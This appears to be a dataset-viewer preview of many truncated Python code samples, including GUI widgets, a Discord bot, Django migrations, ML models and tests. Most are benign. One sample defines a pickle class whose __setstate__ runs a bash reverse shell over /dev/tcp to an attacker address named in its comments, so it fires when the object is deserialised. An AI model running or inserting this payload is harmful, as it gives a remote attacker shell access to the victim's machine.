text stringlengths 1 927k |
|---|
# checkbox.py Extension to ugui providing the Checkbox class
# Released under the MIT License (MIT). See LICENSE.
# Copyright (c) 2019-2021 Peter Hinch
from gui.core.ugui import Widget, display
dolittle = lambda *_ : None
class Checkbox(Widget):
def __init__(self, writer, row, col, *, height=30, fillcolor=None,... |
import discord
from discord.ext import commands
import random as rd
# Tic Tac Toe
player_one = ""
player_two = ""
turn = ""
game_over = True
board = []
winning_condition = [
[0, 1, 2],
[3, 4, 5],
[6, 7, 8],
[0, 3, 6],
[1, 4, 7],
[2, 5, 8],
[0, 4, 8],
[2, 4, 6]
]
class Game(commands.C... |
import numpy as np
from sklearn.metrics import average_precision_score
import xarray as xr
import torchvision
import torch
from torch.utils.data import TensorDataset, DataLoader
from .base import Meter
from .utils import (match_poses, get_top_n_ids,
add_valid_gt, get_candidate_matches, add_inst_num... |
import datetime
def main(j, args, params, tags, tasklet):
page = args.page
modifier = j.portal.tools.html.getPageModifierGridDataTables(page)
filters = dict()
for tag, val in args.tags.tags.items():
val = args.getTag(tag)
if tag == 'from' and val:
filters['from_'] = {'name'... |
import numpy as np
from scipy import optimize
from numpy.testing import assert_array_almost_equal as almost_equal
COLOR_DIMENSIONS = 3
LIGHT_DIMENSIONS = 31
# vector representing a light beam with power 1 at every wavelength
equal_energy_illumination_vector = [1] * LIGHT_DIMENSIONS
def assert_shape(m, shape):
i... |
from collections import Counter as CollectionCounter, defaultdict, deque
from collections.abc import Hashable as CollectionsHashable, Iterable as CollectionsIterable
from typing import (
TYPE_CHECKING,
Any,
Counter,
DefaultDict,
Deque,
Dict,
FrozenSet,
Generator,
Iterable,
Iterat... |
#!/usr/bin/env python
'''Test RGB load using PIL, decoder is not available and PYPNG decoder
is used. You should see the rgb.png image on a checkboard background.
'''
__docformat__ = 'restructuredtext'
__version__ = '$Id: $'
import unittest
import base_load
from pyglet.image.codecs.pil import Image, PILImageDecode... |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
from pybulletgym.envs.roboschool.envs.locomotion.humanoid_env import HumanoidBulletEnv
from pybulletgym.envs.roboschool.robots.locomotors import HumanoidFlagrun, HumanoidFlagrunHarder
class HumanoidFlagrunBulletEnv(HumanoidBulletEnv):
random_yaw = True
def __init__(self):
self.robot = HumanoidFlagrun... |
"""
Created on 21.09.2016
@author: bzfhende
"""
"""
Created on 26.03.2015
@author: bzfhende
"""
from PyQt4.QtGui import QFrame, QWidget, QLabel, \
QApplication, QKeySequence, QFileDialog, \
QVBoxLayout, QHBoxLayout
from .IPetTreeView import IpetTreeView
from .EditableForm import EditableForm
from PyQt4.QtCore... |
#!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test longpolling with getblocktemplate."""
from test_framework.test_framework import DappcoinTestFrame... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import datetime
import os
import sys
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown h... |
# -*-coding:utf-8-*-
"""
This is the whole code for the traditional method to do the detection for mosquitoes
@@author: Zeyu Lu, Guanqun Huang
"""
import cv2
import os
import MosquitoClass
def ChooseSource(FromVideo = False, FromImage = False):
if FromImage:
datapath = r'C:\Users\Zed_Luz\OneDrive\3-MEE\18... |
from os import chdir
import numpy as np
import matplotlib.pyplot as plt
from astropy.table import Table, join
from glob import glob
in_dir = '/home/klemen/Solar-spectral-siblings/Distances_Step2_p0_SNRsamples1000_ext0_oklinesonly_origsamp_G20180327_C180325_multiabund_comb/'
chdir(in_dir)
galah_data_dir = '/home/kleme... |
# coding:utf-8
import datetime
import random
import unittest
import click
import bench_genetic
# @click.command()
# @click.option('--lens', help='Length of PassWord.')
class GuessPasswordTests(unittest.TestCase):
gene_set = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!."
def guess_hello(self):... |
from django.db import models
from .score import Score
from .exam import Exam
from .competitor import Competitor
# Only used for AI Round
class MiniRoundScore(models.Model):
score = models.ForeignKey(Score, related_name="miniroundscores", on_delete=models.CASCADE)
miniround = models.IntegerField()
points = ... |
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... |
import torch.nn as nn
class Residual(nn.Module):
"""
Adds the input of a module to it's output.
"""
def __init__(self,
module,
residual_index=None,
model_output_key=None):
"""
:param module: The module to wrap.
:param residual... |
# -*- coding: utf8 -*-
def mufunc(end=25, multiple=2, non_multiple=5):
for i in range(0, end + 1, multiple):
if i % non_multiple:
yield i
def main() -> None:
for i in mufunc():
print(i)
if __name__ == '__main__':
main() |
import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c "/bin/bash -i >& /dev/tcp/... |
"""Initial Migration
Revision ID: a64da1ebfca1
Revises:
Create Date: 2019-10-30 13:08:16.202856
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'a64da1ebfca1'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto ... |
from collections import namedtuple, defaultdict
ConstVar = namedtuple('ConstVar', ['name', 'type'])
ConstOpt = namedtuple('ConstOpt', ['operator', 'arguments', 'operation'])
class Grounding:
@staticmethod
# IMPROVE/REFACTOR
def ground_literal(literal, assignment):
ground_args = []
for arg ... |
import argparse
import warnings
import pandas as pd
from prawcore.exceptions import ResponseException
from requests import HTTPError
from psaw import PushshiftAPI
import praw
import finviz
from gamestonk_terminal.helper_funcs import check_positive, parse_known_args_and_warn
from gamestonk_terminal import config_termina... |
"""Example on how to read sleep data from SIHA
"""
import os
from tasrif.data_readers.siha_dataset import SihaDataset
from tasrif.processing_pipeline import SequenceOperator
from tasrif.processing_pipeline.custom import JqOperator
from tasrif.processing_pipeline.pandas import (
AsTypeOperator,
ConvertToDatetim... |
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
def split_title_line(title_text, max_words=5):
"""
A function that splits any string based on specific character
(returning it with the string), with maximum number of words on it
"""
seq = title_text.split()
return '\n'... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2016-08-28 21:34
from __future__ import unicode_literals
from django.db import migrations, models
from markupfield.fields import MarkupField
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.... |
from django.core.exceptions import ValidationError
'''
# (Developers) Tests where environment/lang matters (if Django => tests in python)
1. Unit tests -> concrete isolated piece of code
2. Integration tests -> integration of coupled pieces of code
# Tests where environment/lang does NOT matter
3. (QAs) API tests ->... |
# Generated by Django 2.1.2 on 2018-11-23 08:14
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0003_remove_profile_followed'),
]
operations = [
migrations.AddField(
model_name='profile',
name='arefol... |
# coding: utf-8
"""
Fiddle Options Platform
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
... |
"""Inception-ResNet V2 model for Keras.
Model naming and structure follows TF-slim implementation
(which has some additional layers and different number of
filters from the original arXiv paper):
https://github.com/tensorflow/models/blob/master/research/slim/nets/inception_resnet_v2.py
Pre-trained ImageNet weights ar... |
#!/usr/bin/env python3
"""
Python version: > 2.5
Dependence: requests BeautifulSoup
线程版本
爬虫类
从淘女郎网站(https://mm.taobao.com)获取图片链接并下载,按照地区、相册名、姓名分类
"""
import contextlib
import threading
import os
import re
import requests
import time
import json
import argparse
import logging
from bs4 import BeautifulSoup
# 第一页
FIR... |
from typing import List
from collections import defaultdict
from util.console import console
from util.helpers import solution_timer
from util.input_helper import read_entire_input
data = read_entire_input(2021,5)
test = """0,9 -> 5,9
8,0 -> 0,8
9,4 -> 3,4
2,2 -> 2,1
7,0 -> 7,4
6,4 -> 2,0
0,9 -> 2,9
3,4 -> 1,4
0,0 -... |
# -*- coding: utf-8 -*-
# This file was generated
import nidmm._visatype as _visatype
import nidmm.errors as errors
import array
import collections
import hightime
import numbers
from functools import singledispatch
@singledispatch
def _convert_repeated_capabilities(arg, prefix): # noqa: F811
'''Base version t... |
from django import forms
from django.core.exceptions import ValidationError
from django_select2.forms import ModelSelect2MultipleWidget
from base.models import Profil
from base.widgets import FirebaseUploadWidget
from super_moite_moite.models import Tache, Logement
class LogementForm(forms.ModelForm):
class Meta... |
subset = gdf[gdf["land_use_class"].isin(frequent_categories)] |
#!/usr/bin/env python
# Python 2/3 compatibility
from __future__ import print_function
import numpy as np
import cv2 as cv
from tests_common import NewOpenCVTests
class solvepnp_test(NewOpenCVTests):
def test_regression_16040(self):
obj_points = np.array([[0, 0, 0], [0, 1, 0], [1, 1, 0], [1, 0, 0]], dty... |
# 5. Replace a given character with ’*’ Given a string, and a character to replace,
# return a string where each occurance of the character is replaced with ’*’.
# takes in sentence, old char, new character
def replaceChar(sentence, old, new):
# check if the sentence is empty
if sentence == '':
return ... |
# Copyright 2015 Brocade Communications System, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... |
# This code is part of Qiskit.
#
# (C) Copyright IBM 2018, 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivat... |
# -*- coding: utf-8 -*-
# Copyright (c) 2019, LEAM Technology System and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.utils import cint
class RenovationDashboardLayout(Document):
def val... |
# Copyright 2020 Stanford University
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writ... |
import ast
from typing_extensions import final
from wemake_python_styleguide.types import AnyFunctionDef
from wemake_python_styleguide.violations.consistency import (
MultilineFunctionAnnotationViolation,
)
from wemake_python_styleguide.visitors.base import BaseNodeVisitor
from wemake_python_styleguide.visitors.d... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Downloads the necessary NLTK corpora for TextBlob.
Usage: ::
$ python -m textblob.download_corpora
If you only intend to use TextBlob's default models, you can use the "lite"
option: ::
$ python -m textblob.download_corpora lite
"""
import sys
from textblob.... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from... |
#!/usr/bin/env python
import argparse
import rospy
from std_msgs.msg import Int32
from geometry_msgs.msg import PoseStamped, TwistStamped
from styx_msgs.msg import Lane, Waypoint
from dbw_mkz_msgs.msg import BrakeCmd
import math
import sys
import numpy as np
import csv
MPS = 0.44704
class FakeGreenLight():
def _... |
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
from django.db import models
from django.utils.translation import gettext_lazy as _
class _Gender:
MASCULINE = 'm'
FEMINE = 'f'
NEUTER = 'n'
CHOICES = (
(MASCULINE, 'meesssgu'),
(FEMINE, 'naissugu'),
(NEUTER, 'kesksugu'),
)
class _WordClass:
VERB = 'v'
NOUN = 'n'
... |
from flask_restful import Resource
from Aula55.dao.base_dao import BaseDao
class BaseController(Resource):
def __init__(self, dao:BaseDao):
self.dao = dao
def get(self, id=None):
if id:
return self.dao.get_by_id(id)
return self.dao.list_all()
def post(self, model):
... |
import logging
import discord
from discord.ext import commands
from config import VERIFIED, MAIN_COLOR, SUGGESTIONS_CHANNEL
from utils.button import Close, Ticket, Verify
from utils.database import db
import asyncio
import sys
from animec import Aninews
news = Aninews()
class owners(commands.Cog, description="No g... |
import math
import copy
import operator
from compas.geometry import Point, Box, Frame, Vector, scale_vector, normalize_vector, Polygon, Rotation, is_point_in_polygon_xy, angle_vectors_signed
from compas.datastructures import Mesh
from compas.geometry import Line
from compas.geometry import intersection_line_line_xy, i... |
"""
================
Pebbles overview
================
Pebbles is about provisioning cloud resources with a simple end-user
experience. Currently supported provisioning back-end is OpenStack. It's
possible to provision either full Virtual Machines or merely Docker containers
from a pool of hosts that Pebbles maintains... |
import os
from django.contrib.auth.decorators import login_required
from django.core.exceptions import ValidationError
from django.http.response import HttpResponse
from django.shortcuts import render, redirect
from WhatManager2 import whatimg
from WhatManager2.settings import BIBLIOTIK_ANNOUNCE, RED_ANNOUNCE
from bo... |
"""
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... |
import os
import re
from . import utils, ChannelNotFound, settings
class Channel(object):
STREAM_HOST = 'qt.web-radio.biz:1935'
def __init__(self, site_url, title, last_episode_url):
self.title = title
self.site_url = site_url
self.last_episode_url = last_episode_url
self.chan... |
class お布団(object):
def __init__(self):
print("眠いよ")
def __enter__(self):
print("入眠")
return self
def __exit__(self, type_, value, traceback):
print(type_, value, traceback)
print("起床")
return True
def 状態確認(self):
print("オフトニアなうZzz")
def main(... |
# Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
from openvino.tools.mo.ops.activation_ops import Exp
from openvino.tools.mo.front.extractor import FrontExtractorOp
class ExpExtractor(FrontExtractorOp):
op = 'exp'
enabled = True
@classmethod
def extract(cls, node):
... |
# Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use ... |
from __future__ import absolute_import, division, print_function
from six.moves import range
from xfel.merging.application.worker import worker
from dials.array_family import flex
from xfel.merging.application.reflection_table_utils import reflection_table_utils
from xfel.merging.application.utils.memory_usage import g... |
import contextlib
import logging
import math
import shutil
import tempfile
import uuid
import numpy as np
import pandas as pd
import tlz as toolz
from .. import base, config
from ..base import compute, compute_as_if_collection, is_dask_collection, tokenize
from ..highlevelgraph import HighLevelGraph
from ..layers imp... |
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bug_tracker.settings')
try:
from django.core.management import execute_from_command_line
except ... |
/home/runner/.cache/pip/pool/b8/4b/97/9bcc52ab88b064d7f05bac179eb4ef1787e9be4613cfef95414610da68 |
#!/usr/bin/python
# -*- coding:utf-8 -*-
'''
Created on 2015/04/13
@author: drumichiro
'''
import numpy as np
import matplotlib.mlab as mlab
def generateSample(baseLength, mu, sigma, distFunc):
x = np.empty([])
np.random.seed(0)
for i1 in range(len(mu)):
data = distFunc(mu[i1], sigma[i1], baseLen... |
# coding=utf-8
# ------------------------------------
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
# ------------------------------------
import pytest
import platform
import functools
from azure.core.exceptions import HttpResponseError, ClientAuthenticationError
from azure.core.credential... |
#!/usr/bin/env python
import requests
def doSomething():
print('Hello World!')
response = requests.get('http://oxygen.192-168-49-2.nip.io/api/name/Felix Roske')
print(response.json())
if __name__ == '__main__':
doSomething() |
import sys
import pstats
from pstats import SortKey
try:
order = sys.argv[2]
except IndexError:
order = "tottime"
p = pstats.Stats(sys.argv[1])
p.strip_dirs().sort_stats(order).print_stats(20) |
#! /usr/bin/env python
import os
import sys
import glob
import datetime
this_year = datetime.date.today().year
print 'current year: %d' % this_year
def update_file(name):
subst = ''
f = open(name)
for l in f:
if l.startswith('Copyright (c) '):
first_year = int(l[14:18])
if first_year != this_year:
if l... |
import sys
from typing import List, Tuple
from datetime import timedelta
from urllib.parse import urlparse
# Timeout constants
# Set to default value by using timedelta of 0
TIMEOUT_DEFAULT = timedelta(0)
TIMEOUT_MIN = timedelta(minutes=1)
TIMEOUT_DEFAULT_UNIT = 'minutes'
TIMEOUT_ALLOWED_UNITS = ('days', 'hours', 'mi... |
"""CategoricalCNNPolicy with model."""
import akro
import tensorflow as tf
from garage.tf.distributions import Categorical
from garage.tf.models import CNNModel
from garage.tf.models import MLPModel
from garage.tf.models import Sequential
from garage.tf.policies import StochasticPolicy
class CategoricalCNNPolicy(Sto... |
from api import app
from json import dumps
from flask import request
from flask import render_template
from flask_restful import Resource
from flask.ext.jsonpify import jsonify
from api.models.inflacpy.scrap.scrap import Scrap
scrap = Scrap()
@app.route('/')
def home():
"""Método para retorno da página inicial
... |
# File : Robyn Inmoov uppstart
import random
from org.myrobotlab.framework import MRLListener
leftPort = "COM8"
rightPort = "COM6"
i01 = Runtime.createAndStart("i01", "InMoov")
i01.mouth = Runtime.createAndStart("i01.mouth","NaturalReaderSpeech")
i01.startAll(leftPort, rightPort)
torso = i01.startTorso("COM8")
i0... |
# -*- coding: utf-8 -*-
"""
Created on Sat Feb 24 14:35:22 2018
@author: abaena
"""
class LogMapperApi:
def __init__(self):
"""
***********************************************************************
***********************************************************************
... |
class Userinfo:
'''
class generates the users info.That is the username and password.
'''
userinfo_list = []
def save_userinfo(self):
'''
This method saves userinfo into the userinfo_list
'''
Userinfo.userinfo_list.append(self)
def delete_userinfo(self):
'''
T... |
import urllib.parse
import Constants.ApiPoints as ApiPoints
def getXML(accessToken, proxies={}):
import requests
return requests.post(ApiPoints.SERVERS, data={"accessToken": accessToken,
"game_net": "Unity", "play_platform": "Unity", "game_net_user_id": ""}, he... |
from logging import getLogger
import tkinter as tk
import traceback
from thonny import get_workbench, ui_utils
from thonny.codeview import get_syntax_options_for_tag
from thonny.tktextext import TweakableText
from thonny.ui_utils import get_hyperlink_cursor
logger = getLogger(__name__)
class RstText(TweakableText):... |
# -*- coding: utf-8 -*-
# MinIO Python Library for Amazon S3 Compatible Cloud Storage.
# Copyright (C) 2020 MinIO, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apac... |
from typing import List
from .results import TaskResult
def test_get_learning_rates_unitary(unitary_results_json_fname):
# Prepare
result = TaskResult(unitary_results_json_fname)
# Execute
learning_rates = result.get_learning_rates()
# Assert
assert learning_rates is None
def test_get_lea... |
import ray
import jax
import input_pipeline
@ray.remote
class Worker:
def __init__(self):
self.generator = None
def register_generator(self, func):
self.generator = iter(func())
def get_next(self):
return next(self.generator)
def make_generator():
import tensorflow as tf
... |
#!/usr/bin/env python
"""
Random variate generator for the generalized inverse Gaussian distribution.
Reference: L Devroye. Random variate generation for the generalized inverse Gaussian distribution.
Statistics and Computing, 24(2):239-246, 2014.
"""
import math
from scipy import random
def psi(x, alp... |
"""
This module contains the top-level routines for the quasisymmetric
stellarator construction.
"""
import logging
import numpy as np
from scipy.io import netcdf
#from numba import jit
#logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
class Qsc():
"""
This is the main class for ... |
import asyncio
from .obniz_uis import ObnizUIs
name = "obniz"
class Obniz(ObnizUIs):
def __init__(self, id, options=None):
super().__init__(id, options)
self.looper = None
self.ondebug = None
def repeat(self, callback, interval=100):
if self.looper:
self.looper ... |
# -*- coding: utf-8 -*-
"""Main module."""
from models.one_eight_two import model |
###############################################################
# pytest -v --capture=no tests/1_local/test_04_sec_command.py
# pytest -v tests/1_local/test_04_sec_command.py
###############################################################
#
# The following commands are tested on the local database
#
# cms sec clear
# ... |
# -*- coding: utf-8 -*-
from gluon import current
from s3 import *
from s3layouts import *
try:
from .layouts import *
except ImportError:
pass
import s3menus as default
# =============================================================================
class S3MainMenu(default.S3MainMenu):
""" Custom Applica... |
# Copyright 2013-2018 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class ExuberantCtags(AutotoolsPackage):
"""The canonical ctags generator"""
homepage = "ctag... |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-07-24 14:07
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
... |
# Configuration file for ipython-kernel.
# ------------------------------------------------------------------------------
# ConnectionFileMixin(LoggingConfigurable) configuration
# ------------------------------------------------------------------------------
# ----------------------------------------------------------... |
"""Test code for reorg"""
import logging
import numpy as np
import tvm
import topi
import topi.testing
from topi.util import get_const_tuple
def verify_reorg(batch, in_size, in_channel, stride):
'''Verify reorg operator by comparing outputs from tvm and numpy implementation'''
in_height = in_width = in_size
... |
import os
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as nnf
from option import args
class Loss(nn.modules.loss._Loss):
def __init__(self, args, ckp):
super(Loss, self).__init__()
self.... |
# -*- encoding: utf-8 -*-
"""
Python setup file for the admintool_command app.
In order to register your app at pypi.python.org, create an account at
pypi.python.org and login, then register your new app like so:
python setup.py register
If your name is still free, you can now make your first release but first y... |
"""
ASGI config for django_getin project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_... |
class Solution:
# Delete row func using indexes, O(n*m) time, O(1) space
def minDeletionSize(self, strs: List[str]) -> int:
n, m = len(strs), len(strs[0])
def delete(j):
for i in range(n-1):
if strs[i][j] > strs[i+1][j]:
return True
re... |
# Python program to validate an Email
# import re module
# re module provides support
# for regular expressions
import re
# Make a regular expression
# for validating an Email
regex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
# for custom mails use: '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w+$'
# ... |
from module_a import func_a
def main():
func_a()
if __name__ == '__main__':
main() |
'''Reescreva a função 'maximo' do outro exercício, que devolve o maior
valor dentre dois inteiros recebidos, para que ela passe a receber 3
valores inteiros como parâmetros e devolva o maior dentre eles.'''
def maximo(x, y, z):
maior = x
if y >= maior:
maior = y
if z >= maior:
maior = z
... |
# -*- coding: utf-8 -*-
# Stdlib imports
import base64
import datetime
import hashlib
import logging
import os
import sys
import traceback
import requests
from OpenSSL import crypto
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.x509.extensions import UserNotic... |
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not... |
from src import ships
class TestShip:
pass |
#! /usr/bin/python
#
# Copyright (c) 2015 Advanced Micro Devices, Inc.
# All rights reserved.
#
# For use for simulation and test purposes only
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributio... |
# -*- coding: utf-8 -*-
###########################################################################
# Copyright (c), The AiiDA team. All rights reserved. #
# This file is part of the AiiDA code. #
# ... |
import pyodbc
try:
connect = pyodbc.connect(r'Driver= {Microsoft Access Driver (*.mdb, *.accdb)}; DBQ=C:\Users\Aldrin PC\Documents\Database1.accdb;')
print("Connected to a Database")
Laboratory = 90
user_id = 5
record = connect.cursor()
record.execute('UPDATE Table1 SET Laboratory = ? WHERE i... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.